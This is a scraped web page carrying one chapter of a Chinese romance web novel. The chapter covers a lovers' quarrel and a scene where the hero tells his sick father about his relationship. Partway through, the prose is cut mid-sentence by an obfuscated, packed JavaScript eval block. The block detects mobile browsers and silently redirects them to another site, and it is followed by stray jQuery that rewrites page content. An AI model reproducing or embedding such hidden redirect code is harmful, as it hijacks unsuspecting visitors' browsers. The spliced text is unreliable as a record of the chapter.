默认冷灰
24号文字
方正启体

91.复活

作者:珘宁本书字数:K更新时间:
    谈凭玉挤着麻霆君的手臂坐下。


    麻霆君姑且没有不看他的魄力,看得神魂颠倒。


    不说三年前在鹭镇,单从揭秘的那一刻算起。麻霆君一边装晕,一边把后路计算了个大致:不论是俞平还是谈凭玉,不论身份多么高,他都要坦坦荡荡,讲骨气、求公平,绝不可能再因为一双狐狸眼睛鬼迷心窍;


    这时候他光是痴痴地张着嘴,不知道有多么蠢。说来谈凭玉就是对笨一些的男人情有独钟?他未免太笨了,可惜挪不开眼睛,反省也不知道从哪里开始。


    谈凭玉不知道所以然,当他早早预备好,一小勺热可可灌进他的喉咙,他却呛得死去活来。


    “烫了?”谈凭玉再低头细细吹着,睫毛往下搭,好似两扇蝴蝶翅膀。


    麻霆君不敢承认,趁他看向自己,好不容易点点头。


    有一句格言,“大丈夫能屈能伸”,套在他身上,简直把他骂得狗血淋头。他确实能屈能伸,然而屈伸得不合时宜,步步错。


    又有一句,“开弓没有回头箭”,他有多么爱俞平,便有多么恨谈凭玉,哪怕知道他们是一个人,恨意一时半会也难以消除。才向谈凭玉示威到一半,所以硬着头皮也要讲完。


    然而不知道从哪里开口,看谈凭玉生得太美——


    骗就骗了!


    “平儿宝贝,宝贝平儿。”他心里发毛,妄图蒙混过关,“你在鹭镇有没有生过病?”


    谈凭玉长叹一口气,敲了敲瓷杯,道:“我记得是你号称要追求我,弄到最后,连我生没生过病都不清楚?”


    麻霆君急中生智,为自己找补,道:“我觉得这种场景很温馨,我想我们之前也有过。”


    否则真是跳进黄河洗不清。他看谈凭玉必然识破了他,又傻乎乎地微笑,套近乎道:“就算你没生过病,我也一定照顾过你吧?”


    谈凭玉道:“如果要提晚上那套,还是免了。”


    麻霆君借机捉他的手腕,他反清脆一掌把麻霆君拍落了,继而慢条斯理搅着杯中铁匙,余光见麻霆君翘首以盼的模样,暗笑一声,仰头把热可可一饮而尽。


    麻霆君一愣。他怕麻霆君看穿他心情好,抬腕看了表。


    麻霆君吃瘪得雪上加霜,心中不乏懊恼,带些此地无银三百两的意味,关怀道:“你很忙吗?”


    谈凭玉嗤笑道:“我是个骗子,把你从头骗到脚,你怎么还来关心我?”


    “你——”


    麻霆君正要说些冠冕堂皇的话语,一双狐狸眼睛迎面而来,忽闪忽闪,立刻蛊惑得底线尽失了。偏又被他激将起来,只好坚持道,“我说过了,我害怕再被你骗,需要重新考虑我们的关系……我需要一点时间静一静。”


    谈凭玉淡淡道:“不相信就不相信,我找别人过。”


    麻霆君急匆匆道一声“不行”,看谈凭玉笑眼盈盈,顿时觉得自己太窝囊。他从前意气风发,现在哪有半点志气?姑且不论与谈四爷相称,自己心里一关都无法迈过。


    在鹭镇,不说成就非凡,好歹铁骨铮铮;来到枢城,面对花花世界,他没有一次低过头。


    就当他爱谈凭玉,爱得昏天黑地了,也不能失了应有的坚持。譬如他不愿做名义上的谈四奶奶,失了姓名,他不能没有骨气!


    却看谈凭玉低着头,轻轻叹一口气,吐几分真情:“霆君,之前是我不好,我想你是爱我的,所以没有处处尊重……可我那时确实没办法坦白,我家里很乱,怕你知道了乱着急,祸水东引。”


    “你怕波及到我?”麻霆君眼前一亮,“你怕?你真的怕?看不出来,你还挺在乎我的?”


    趁谈凭玉迟钝着,他忙撑着床头坐起,牵着谈凭玉的衣摆,道:“我知道你脸皮薄,你跟我讲实话,你心里到底怎么想的?其实你是不是也很爱很爱我?”


    这般一语中的,谈凭玉面上挂不住,手忙脚乱要挣脱。麻霆君苦苦盼来他耳垂泛红,岂允许他轻易逃了,干脆把他压在身下,拼尽全力,尝出他舌尖残余的巧克力味。


    谈凭玉艰难道:“麻霆君,你真是狗啊!”


    麻霆君把他吃干抹净,笑道:“嗳,我当然是狗。放眼全枢城,谁不是四爷的狗?”


    谈凭玉要开口,又被他亲几下,一时怒火攻心,道:“你滚吧!我要独身一辈子。”


    “哎呀!讲你两句就翻脸,性情这么恶劣就算了,之前还骗我,我怎么有信心和你在一起?”


    麻霆君把他鼻尖弹得更红,得寸进尺道,“你稍微对我好一点,这样我回心转意的机会就高一些,明白吗?”


    再要吻谈凭玉——不料舌尖吃着痛,理智胜不过身体条件反射,姑且推开了谈凭玉。谈凭玉从他身下钻出,他才反应过来,道:“你咬我!”


    谈凭玉不应,一把将外套甩在肩上,意欲夺门而出。


    麻霆君朝他背影喊:“你爱我,是不是!”


    “你还不如死了!”


    “四爷嘴好硬!”


    谈凭玉愤然砸上了门。他快意躺平在床,管自己狂笑。


    *


    单龙侯在门口,不知道里头天翻地覆。忽然听见一阵急匆匆的脚步,见谈凭玉来的雷厉风行,脸色不好,却有一抹诡异的红。便笑道:“都说小别胜新婚,四爷怎么气成这样?”


    谈凭玉没停顿,朝外面赶,道:“叫柏庄的把麻霆君赶出去,一秒钟都不许他多留!”


    单龙看热闹看得再上头了,胳膊肘不会向外拐。然而一时难以摆出气愤的样子,只好干笑两声,帮腔道:“哎呀,那姓麻的狗胆包天。”


    谈凭玉嘟囔着骂几句,一脚跨上车。后座飘来一股火药星子味,不看便知是他气得七窍生烟。


    单龙帮忙把车门关安稳,唤来侍者,低声嘱咐着让麻霆君安生休息,好酒好菜备着。上车后再作一派歌舞升平,佯装没有背叛谈凭玉一样,照例问道:


    “四爷,去哪里?”


    “回家。”


    谈家今年还算平稳,父亲生病更重,由三奶奶主持家事。四奶奶患疯病、谈行一体弱,都康健不少,母子二人时常出门散心。也就谈皎更不像个活人了,掌到权的鬼。


    谈文翡与严太太远赴东洋,便是不动声色地与谈家割席了。谈文翡与谈行一倒是常通书信,就当一切风平浪静,总归算作丑闻一桩。社交场合,大家见面了三缄其口,却看他们眨眼睛就知道要说什么话,装作一团和气。


    到年底回顾,仿佛只有他谈凭玉身上才有个大新闻。他不免觉得讽刺,微微一笑。


    单龙当他消气,试探道:“四爷,之前兰竹向我透露,老爷很关心你。”


    他话说到这里便咬断了。谈凭玉倚着车门,一点路灯的光斑,随行车浮沉在他的脸上。


    父亲难得有言语上的关心。人到老年,唯独期盼天伦之乐,等新的生命冲散谈家的死气沉沉。其实也是些爪牙退化后的慈眉善目,担忧病床前无孝子。


    但是父亲对他非常不薄——他先前为了向谈皎表态,与一切人物割了席,这时候思维转不过弯,便不多言语。


    单龙瞥一眼前视镜,又道:“郁小姐常来家里做客,陪三奶奶打麻将,陪四奶奶和行一少爷去公园,有时见老爷。大家都关心你,也都听过你的风言风语,说是不喜欢女人……郁小姐没办法说谎。”


    这郁蕙心!必然是一五一十将他出卖了。谈凭玉一拍座椅,单龙便笑道:“四爷别心急。”


    谈凭玉才道:“爸爸知道麻霆君了?”


    “老爷连鹭镇都不知道。光听传闻,以为你与一位男花魁相好。就为这事,他去年还耿耿于怀,今年早释然了,怕你介意他打探你隐私,装着不知道。”


    单龙道,“四爷你也装不知道,否则我和兰竹没办法交差,以后再有什么八卦,他们都不来通知了。”


    柏庄离家近,方向盘拐几轮,远远看见谈公馆的影子。公馆区分布格外空旷,所以风也格外得大。见是四少爷回家,佣人们更加热情,一个个来问好。


    谈凭玉上楼见父亲。门口有丫鬟看门,听他大驾光临,打盹中惊醒,敲门向里面通报。里面再向里面通报。细碎脚步没有停过,不久后另一个丫鬟钻出来,朝谈凭玉甜甜一笑:“四少爷,老爷请您进去。”


    父亲躺在床上,一群丫头婆子围在床边,伺候他喝汤药。坐得稍微高一些的是谈三奶奶,谈凭玉点头,道:“姨娘。”


    “凭玉来了。”三奶奶也笑。言下散了众人,再把谈老爷唤起来。


    被褥下一段苍老的身形慢慢直起,像古树的树根,与谈凭玉记忆中父亲的形象大相径庭。他心里更加不信,不相信自己身上承着他的血脉。走上前去,自发接替了丫鬟的活,吹凉一碗参汤,一小匙一小匙喂着。


    小半碗下肚,谈老爷方才喑哑道:“凭玉……这次回家住多久?”


    “凭玉难得回来,多住一会不好?听着倒像要赶他走。”三奶奶道,“凭玉——凭玉你别听他胡说八道。”


    老爷笑道:“你也是胡说,我哪舍得他走!”


    谈凭玉温和一笑,道:“起码过完年,也许还要再晚一些,等枢城倒春寒了再走。”


    老爷道:“哦,看来香岛被你经营得不错?”


    谈凭玉道:“是还好,主要是爸爸的根基扎得稳。”


    三奶奶搭着他的手腕,转翡翠扳指来看,道:“难得有时间,再多和你爸爸讲点。”


    生意场上总归大差不差,没有新鲜事,不宜在父亲身体抱恙时候讲;提麻霆君只会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415710|149246||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把父亲的病雪上加霜,何况单龙保守秘密,他只能没话找话,道:“我代行一去商会几次,还是不大适应,所以联系了香岛的商学院,明年更加忙了。”


    三奶奶道:“行一又不去商会?”


    “是。”谈凭玉告状道,“他叫文翡给他寄游戏机,哪有空去商会?”


    大家都笑。笑过之后,有一种诡异的冷清。两个长辈面面相觑,不肯开金口。谈凭玉更不愿面对,便做一个孝子,慢慢吞吞地搅参汤,却见碗底锃亮。倒是闻出几分热可可的气息。


    老爷终于道:“小凭玉,你也到结婚的年纪了。”


    三奶奶看谈凭玉眼色,候着时间圆场。谈凭玉不愿错过良机,与他们两双眼睛都打过招呼,承认道:“爸爸,三姨娘,我确实恋爱了。”


    此话一出,多少有了几分僵硬的释然。三奶奶捏他手腕更紧。老爷半开玩笑,道:“那花魁会讲国语嚜,我们家是不是以后每天都要,‘哈依哈依’?”


    “您少听外面人瞎讲,他不是花魁。”谈凭玉不肯讲完整,只道,“我们之前就认识,最近在商会又遇到了。一来二去,联系多了,再开始恋爱。”


    这回是真当释然了,笑容都从容不少。三奶奶欣喜道:“哦,这是新式婚姻的开头了。”


    老爷笑道:“不错,他也做生意?”


    “二哥早年甩脱一家银行,被他承下来,但是做不好,年年亏钱。”


    谈凭玉低头一笑,道,“二哥都做不下去,他更没本领,每天入不敷出的,车都抵押给别人了。”


    三奶奶感动道:“这么上进的男小囡,不容易!老谈,我说凭玉的眼光不会差,看我不是说中了?”


    老爷也感慨颇多,忽然道:“既然他能联系上文翡,他是哪一户,爸爸认识吗?”


    谈凭玉道:“他不是枢城人。”


    老爷愣道:“什么?”


    谈凭玉当是父亲没听清,再重复一遍。不料老爷当即翻了脸,道:“嗳,外地人不好的。”


    谈凭玉窘迫道:“爸爸!”


    老爷往边上挪了几寸,被单摩挲沙拉拉响。末了眼睛一锁,道:“男女无所谓,只要你喜欢就好;穷一点苦一点都不算数,谁有我们家光鲜?可你不找枢城人,找个外地的——”


    他讲到一半咳嗽起来,三奶奶埋怨一眼谈凭玉,动身端水来。谈凭玉接过她手里的茶杯,又要尽孝,老爷一掌推开茶杯,一轮水柱泼洒在地毯上。


    他怒道:“谈凭玉!实话说,我半只脚踏进棺材了,指不定哪天见到你娘。她若是问起你,说你娶进来个外地人,叫我怎么开口?”


    三奶奶着急道:“老爷,这种话不好讲的,讲多了招晦气!”


    又道:“凭玉,你说你!”


    谈凭玉道:“爸爸,三姨娘,哪有这么严重?”


    老爷坚持道:“不行,不行。”


    “是没这个道理。”三奶奶也帮腔,“我看问题出在香岛上,那指甲盖大小一点地,都是洋人,生生把你带坏了!明年就留在家里,姨娘帮你物色青年才俊。”


    谈凭玉无助道:“他是鹭镇的,离枢城很近呢!年后江南再划分,要把鹭镇也包括进去。”


    老爷冷哼一声,道:“听都没听说过。”


    谈凭玉无可奈何,只好撒娇,道:“爸爸,三姨娘,他很不容易的,人也好。”


    他故意低着头,察出气氛有所缓和,再示弱,道:“我真的很喜欢他。”


    三奶奶道:“更不好了!就是我们凭玉最单纯,遇到个心眼最多的,不知道他怎么花言巧语骗着小玉。若真是成了,再过十年二十年,谈家要跟他姓了!”


    谈凭玉顷刻破了功,道:“不会!三姨娘,他不是这种人!”


    三奶奶道:“你说不是就不是?这种人我见得多了!”


    老爷紧锁的眉头有半分舒缓,勉为其难睁一只眼:“好了,不管是不是,你先带他来见见我们。”


    三奶奶心中有气,不想老爷先退缩,勉强道:“你爸爸讲得也对,不管他怎么样,先带回家看看。”


    这一来一往,大家都有所让步,老爷十分满足,却看谈凭玉面露难色,立刻把事情往最坏处想了,道:“干什么?是你没脸带他见我,还是他连我都不敢见?”


    谈凭玉只好道:“我和他最近有些矛盾……”


    老爷惊骇道:“矛盾!反了他了!敢和你有矛盾?”


    末了气血上涌,险些喘不过气。三奶奶拍他的后背舒缓,继而哀哀地看一眼谈凭玉,多少有些恨铁不成钢。谈凭玉心里发毛,找个借口,灰溜溜地出了门。


    他找到个电话。从口袋里摸出一张叠好的纸条,郑重拨了平渝银行的号码。


    无人接听。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)